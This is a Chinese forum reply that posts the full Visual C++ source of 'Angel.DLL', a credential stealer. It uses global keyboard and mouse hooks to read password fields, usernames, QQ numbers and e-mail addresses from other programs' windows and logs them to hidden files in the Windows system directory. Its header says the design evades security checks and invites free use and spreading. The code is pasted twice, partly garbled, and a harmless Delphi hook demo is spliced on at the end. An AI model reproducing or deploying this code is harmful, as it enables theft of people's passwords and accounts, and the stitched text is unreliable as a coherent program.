我给你一个全的,不过用的是VC的,吧:
/*====================================================================
这是一个通过安装键盘、鼠标双重钩子来获取密码的原程序,之所要安装两
个钩子而不用其他更方便的方法,是因为了避免一些软件的安全检查。经过长期
测试,可以在win98/win2000下稳定运行,欢迎大家自由修改、使用、传播。
舒清 2001-5-9
附:调用Angel.DLL的方法HINSTANCE gLibAngel=NULL;
typedef BOOL (* SETHOOK)(int,HWND);
SETHOOK SetHookAlias=NULL;1.安装钩子:
gLibAngel=LoadLibrary("angel.dll");
//返回DLL中SetHook()函数的地址
if (gLibAngel)
{
SetHookAlias=(SETHOOK)GetProcAddress(gLibAngel,"SetHook");
if (SetHookAlias)
{
SetHookAlias(1,NULL);
}
}2.卸装钩子:
SetHookAlias(0,NULL);如不明白可到我的主页下载例子程序。
====================================================================*/#include "stdafx.h"
#include <afxdllx.h>#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endifBOOL SetHook(UINT handletype,HWND hwnd);
void WriteTxtFile(int textFile,char * strText);
int EnumWin(int eventType,HWND eventWnd,HWND glhTargetWnd);#pragma data_seg("mydata")
HHOOK MouseglhHook=NULL;
HHOOK KeyboardglhHook=NULL;
HINSTANCE glhInstance=NULL;
//DLL实例句柄
HWND glhOutputWnd;
HWND PwdHwnd=NULL;
HWND UserHwnd=NULL;
HWND WinHwnd[100];
int i=0;
BOOL pwd=FALSE;
BOOL PassKey=FALSE;
HWND g_hLastFocus = NULL;
#pragma data_seg() //====================================================================BOOL CALLBACK EnumChildProc( HWND hwnd, LPARAM lParam)
{
if (hwnd)
{
WinHwnd[i]=hwnd;
i++;
LONG lStyle = ::GetWindowLong(hwnd, GWL_STYLE);
if (lStyle & ES_PASSWORD)
{
PwdHwnd=hwnd;
UserHwnd=WinHwnd[i-2];
pwd=TRUE;
}
return TRUE;
}
return FALSE;
}//===================================================================int EnumWin(int eventType,HWND eventWnd,HWND glhTargetWnd)
{
char szCaption[256];
GetWindowText(glhTargetWnd,szCaption,256);
CString capCR=_T("\r\n");
capCR=szCaption+capCR;
//--------------------------------------------------------------------
i=0;
pwd=FALSE;
BOOL AppendPwd=FALSE;
PwdHwnd=NULL;
UserHwnd=NULL;
EnumChildWindows(glhTargetWnd,EnumChildProc,0);
//枚举子窗口
//--------------------------------------------------------------------
CString winText;
CString mailaddText;
CString szText;
if (i)
{
int m;
char szBuff[255];
CString CR="\r\n";
for(m=0;m<i;m++)
{
SendMessage(WinHwnd[m], WM_GETTEXT, 255, (LPARAM)szBuff);
szText=szBuff;
//--------------------------------------------------------------------
if (szText.GetLength())
{
if((strstr(szText,"@"))&&(strstr(szText,"."))&&(strstr(szText,"\r\n")==0)&&(strstr(szText," ")==0))
{
if(strstr(mailaddText,szText)==0)
mailaddText=mailaddText+szText+CR;
}
//--------------------------------------------------------------------
if (pwd)
{
if (WinHwnd[m]==PwdHwnd)
{
if (glhOutputWnd!=NULL)
SendMessage(glhOutputWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szText);
AppendPwd=TRUE;
szText=_T("< ")+szText+_T(" >");
}
else if (WinHwnd[m]==UserHwnd)
{
if ((strstr(winText,"OICQ")||strstr(winText,"QQ"))
||(strstr(capCR,"OICQ")||strstr(capCR,"QQ")))
{
if ((atof(szText)<999999) && (atof(szText)>1000))
szText=_T("< ")+szText+_T(" >");
else
break;
}
} winText=winText+szText+CR;
}
}
}//--------------------------------------------------------------------
if (mailaddText.GetLength()>=10)
{
WriteTxtFile(2,(LPSTR)(LPCTSTR)mailaddText);
mailaddText="";
}
if ((strstr(winText,"密码")&&strstr(winText,"用户"))
||(strstr(winText,"Password")&&strstr(winText,"User")))
{
CTime tmNow;
CString strTimeNow;
tmNow = CTime::GetCurrentTime ();
strTimeNow = tmNow.Format ("记录时间: %Y-%m-%d %H:%M:%S\r\n");
winText=capCR+winText+"==================================================\r\n"+strTimeNow+"==================================================\r\n\r\n";
if (AppendPwd==TRUE)
{
if (eventType==1)
{
char lpClassName[255];
GetClassName(eventWnd, lpClassName, 255);
CString ClassName=lpClassName;
if (ClassName==_T("Button"))
{
WriteTxtFile(1, (LPSTR)(LPCTSTR)winText);
}
}
else if (eventType==2)
{
WriteTxtFile(1, (LPSTR)(LPCTSTR)winText);
}
}
}
else
return -1;
//--------------------------------------------------------------------
}
return 0;
}
//====================================================================
void WriteTxtFile(int textFile,char * strText)
{
//--------------------------------------------------------------------
char szBuff[256];
GetSystemDirectory(szBuff,256);
CString Pwd_Name="\\angelpwd.shu";
CString Add_Name="\\angeladd.shu";
Pwd_Name=szBuff+Pwd_Name;
Add_Name=szBuff+Add_Name;
//--------------------------------------------------------------------
if (textFile==1)
{
FILE *fp;
if ((fp=fopen(Pwd_Name,"a"))==NULL)
return ;
fprintf(fp,"%s",strText);
fclose(fp);
}
//-------------------------------------------------------------------
else if (textFile==2)
{
FILE *fp;
if ((fp=fopen(Add_Name,"a"))==NULL)
return ;
fprintf(fp,"%s",strText);
fclose(fp);
}
/*====================================================================
这是一个通过安装键盘、鼠标双重钩子来获取密码的原程序,之所要安装两
个钩子而不用其他更方便的方法,是因为了避免一些软件的安全检查。经过长期
测试,可以在win98/win2000下稳定运行,欢迎大家自由修改、使用、传播。
舒清 2001-5-9
附:调用Angel.DLL的方法HINSTANCE gLibAngel=NULL;
typedef BOOL (* SETHOOK)(int,HWND);
SETHOOK SetHookAlias=NULL;1.安装钩子:
gLibAngel=LoadLibrary("angel.dll");
//返回DLL中SetHook()函数的地址
if (gLibAngel)
{
SetHookAlias=(SETHOOK)GetProcAddress(gLibAngel,"SetHook");
if (SetHookAlias)
{
SetHookAlias(1,NULL);
}
}2.卸装钩子:
SetHookAlias(0,NULL);如不明白可到我的主页下载例子程序。
====================================================================*/#include "stdafx.h"
#include <afxdllx.h>#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endifBOOL SetHook(UINT handletype,HWND hwnd);
void WriteTxtFile(int textFile,char * strText);
int EnumWin(int eventType,HWND eventWnd,HWND glhTargetWnd);#pragma data_seg("mydata")
HHOOK MouseglhHook=NULL;
HHOOK KeyboardglhHook=NULL;
HINSTANCE glhInstance=NULL;
//DLL实例句柄
HWND glhOutputWnd;
HWND PwdHwnd=NULL;
HWND UserHwnd=NULL;
HWND WinHwnd[100];
int i=0;
BOOL pwd=FALSE;
BOOL PassKey=FALSE;
HWND g_hLastFocus = NULL;
#pragma data_seg() //====================================================================BOOL CALLBACK EnumChildProc( HWND hwnd, LPARAM lParam)
{
if (hwnd)
{
WinHwnd[i]=hwnd;
i++;
LONG lStyle = ::GetWindowLong(hwnd, GWL_STYLE);
if (lStyle & ES_PASSWORD)
{
PwdHwnd=hwnd;
UserHwnd=WinHwnd[i-2];
pwd=TRUE;
}
return TRUE;
}
return FALSE;
}//===================================================================int EnumWin(int eventType,HWND eventWnd,HWND glhTargetWnd)
{
char szCaption[256];
GetWindowText(glhTargetWnd,szCaption,256);
CString capCR=_T("\r\n");
capCR=szCaption+capCR;
//--------------------------------------------------------------------
i=0;
pwd=FALSE;
BOOL AppendPwd=FALSE;
PwdHwnd=NULL;
UserHwnd=NULL;
EnumChildWindows(glhTargetWnd,EnumChildProc,0);
//枚举子窗口
//--------------------------------------------------------------------
CString winText;
CString mailaddText;
CString szText;
if (i)
{
int m;
char szBuff[255];
CString CR="\r\n";
for(m=0;m<i;m++)
{
SendMessage(WinHwnd[m], WM_GETTEXT, 255, (LPARAM)szBuff);
szText=szBuff;
//--------------------------------------------------------------------
if (szText.GetLength())
{
if((strstr(szText,"@"))&&(strstr(szText,"."))&&(strstr(szText,"\r\n")==0)&&(strstr(szText," ")==0))
{
if(strstr(mailaddText,szText)==0)
mailaddText=mailaddText+szText+CR;
}
//--------------------------------------------------------------------
if (pwd)
{
if (WinHwnd[m]==PwdHwnd)
{
if (glhOutputWnd!=NULL)
SendMessage(glhOutputWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szText);
AppendPwd=TRUE;
szText=_T("< ")+szText+_T(" >");
}
else if (WinHwnd[m]==UserHwnd)
{
if ((strstr(winText,"OICQ")||strstr(winText,"QQ"))
||(strstr(capCR,"OICQ")||strstr(capCR,"QQ")))
{
if ((atof(szText)<999999) && (atof(szText)>1000))
szText=_T("< ")+szText+_T(" >");
else
break;
}
} winText=winText+szText+CR;
}
}
}//--------------------------------------------------------------------
if (mailaddText.GetLength()>=10)
{
WriteTxtFile(2,(LPSTR)(LPCTSTR)mailaddText);
mailaddText="";
}
if ((strstr(winText,"密码")&&strstr(winText,"用户"))
||(strstr(winText,"Password")&&strstr(winText,"User")))
{
CTime tmNow;
CString strTimeNow;
tmNow = CTime::GetCurrentTime ();
strTimeNow = tmNow.Format ("记录时间: %Y-%m-%d %H:%M:%S\r\n");
winText=capCR+winText+"==================================================\r\n"+strTimeNow+"==================================================\r\n\r\n";
if (AppendPwd==TRUE)
{
if (eventType==1)
{
char lpClassName[255];
GetClassName(eventWnd, lpClassName, 255);
CString ClassName=lpClassName;
if (ClassName==_T("Button"))
{
WriteTxtFile(1, (LPSTR)(LPCTSTR)winText);
}
}
else if (eventType==2)
{
WriteTxtFile(1, (LPSTR)(LPCTSTR)winText);
}
}
}
else
return -1;
//--------------------------------------------------------------------
}
return 0;
}
//====================================================================
void WriteTxtFile(int textFile,char * strText)
{
//--------------------------------------------------------------------
char szBuff[256];
GetSystemDirectory(szBuff,256);
CString Pwd_Name="\\angelpwd.shu";
CString Add_Name="\\angeladd.shu";
Pwd_Name=szBuff+Pwd_Name;
Add_Name=szBuff+Add_Name;
//--------------------------------------------------------------------
if (textFile==1)
{
FILE *fp;
if ((fp=fopen(Pwd_Name,"a"))==NULL)
return ;
fprintf(fp,"%s",strText);
fclose(fp);
}
//-------------------------------------------------------------------
else if (textFile==2)
{
FILE *fp;
if ((fp=fopen(Add_Name,"a"))==NULL)
return ;
fprintf(fp,"%s",strText);
fclose(fp);
}
//-------------------------------------------------------------------
}//===================================================================
LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam;
if (wparam==513)
{
HWND glhTargetWnd=pMouseHook->hwnd;
//取目标窗口句柄
HWND eventWnd=glhTargetWnd;
HWND ParentWnd=GetParent(glhTargetWnd);
//取目标父窗口句柄
if (ParentWnd!=NULL)
{
glhTargetWnd=ParentWnd;
}
EnumWin(1,eventWnd,glhTargetWnd);
}
return CallNextHookEx(MouseglhHook,nCode,wparam,lparam);
//继续传递消息
} //====================================================================static LRESULT WINAPI KeyboardHook_HookProc (int nCode,WPARAM wParam,LPARAM lParam)
{ LRESULT lResult = CallNextHookEx(KeyboardglhHook, nCode, wParam, lParam);
if (lParam<0)
PassKey=FALSE;
if ((nCode == HC_ACTION)&&(lParam>0)&&(PassKey==FALSE))
{
PassKey=TRUE;
if (wParam == 13)
{
HWND hFocus = GetActiveWindow();
if(g_hLastFocus != hFocus)
{
if (EnumWin(2,NULL,hFocus)==-1)
g_hLastFocus = hFocus;
}
}
}
return(lResult);
}
//===================================================================
static AFX_EXTENSION_MODULE AngelDLL = { NULL, NULL };extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("ANGEL.DLL Initializing!\n");
// Extension DLL one-time initialization
if (!AfxInitExtensionModule(AngelDLL, hInstance))
return 0; new CDynLinkLibrary(AngelDLL); glhInstance=hInstance;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("ANGEL.DLL Terminating!\n");
// Terminate the library before destructors are called
AfxTermExtensionModule(AngelDLL);
}
return 1; // ok
}BOOL SetHook(UINT handletype,HWND hwnd)
//安装钩子并设定接收显示窗口句柄
{
if (handletype==0)
{
UnhookWindowsHookEx (KeyboardglhHook);
UnhookWindowsHookEx (MouseglhHook);
}
//-------------------------------------------------------------------
else if (handletype==1)
{
BOOL bResult=FALSE;
glhOutputWnd=hwnd;
KeyboardglhHook=SetWindowsHookEx(WH_KEYBOARD, KeyboardHook_HookProc, glhInstance, 0);
MouseglhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
if(KeyboardglhHook!=NULL)
bResult=TRUE;
//-------------------------------------------------------------------
char szBuff[256];
GetSystemDirectory(szBuff,256);
CString Pwd_Name="\\angelpwd.shu";
CString Add_Name="\\angeladd.shu";
Pwd_Name=szBuff+Pwd_Name;
Add_Name=szBuff+Add_Name;
//--------------------------------------------------------------------
CFile f1;
if(!f1.Open(Pwd_Name, CFile::modeRead))
return bResult;
int fileSize1 = f1.GetLength();
f1.Close();
if (fileSize1>45000)
DeleteFile(Pwd_Name);
//--------------------------------------------------------------------
CFile f2;
if(!f2.Open(Add_Name, CFile::modeRead))
return bResult;
int fileSize2 = f2.GetLength();
f2.Close();
if (fileSize2>30000)
DeleteFile(Add_Name);
return bResult;
}
//--------------------------------------------------------------------
return FALSE;
}
Windows, Messages;var
hNextHookProc: HHook;
procSaveExit: Pointer;function mouseHookHandler(iCode: Integer;
wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall;
begin
Result := 0;
if iCode < 0 then
begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
Exit;
end; if (wParam = wm_rbuttondown) then
begin
Result := 1;
WinExec('Notepad.exe', sw_normal); // 记事本
end;
end;function EnableHotKeyHook: BOOL; export;
begin
Result := False;
if hNextHookProc <> 0 then Exit;
// 挂上 WH_mouse 这型的 HOOK, 同时, 传回值必须保留下
// 来, 免得 HOOK 呼叫链结断掉
hNextHookProc := SetWindowsHookEx(WH_mouse,
mouseHookHandler,
HInstance,
0);
Result := hNextHookProc <> 0;
end;function DisableHotKeyHook: BOOL; export;
begin
if hNextHookProc <> 0 then
begin
UnhookWindowshookEx(hNextHookProc); // 解除 mouse Hook
hNextHookProc := 0;
MessageBeep(0);
MessageBeep(0);
end;
Result := hNextHookProc = 0;
end;procedure HotKeyHookExit;
begin
// 如果忘了解除 HOOK, 自动代理解除的动作
if hNextHookProc <> 0 then DisableHotKeyHook;
ExitProc := procSaveExit;
end;exports
EnableHotKeyHook,
DisableHotKeyHook;begin
hNextHookProc := 0;
procSaveExit := ExitProc;
ExitProc := @HotKeyHookExit;
end.
implementation{$R *.DFM}
function EnableHotKeyHook: BOOL; external 'HKTEST.DLL';
function DisableHotKeyHook: BOOL; external 'HKTEST.DLL';procedure TTestForm.Button1Click(Sender: TObject);
begin
if EnableHotKeyHook then
ShowMessage('HotKey Testing...');
end;procedure TTestForm.Button2Click(Sender: TObject);
begin
if DisableHotKeyHook then
ShowMessage('HotKey Testing..., DONE!!');
end;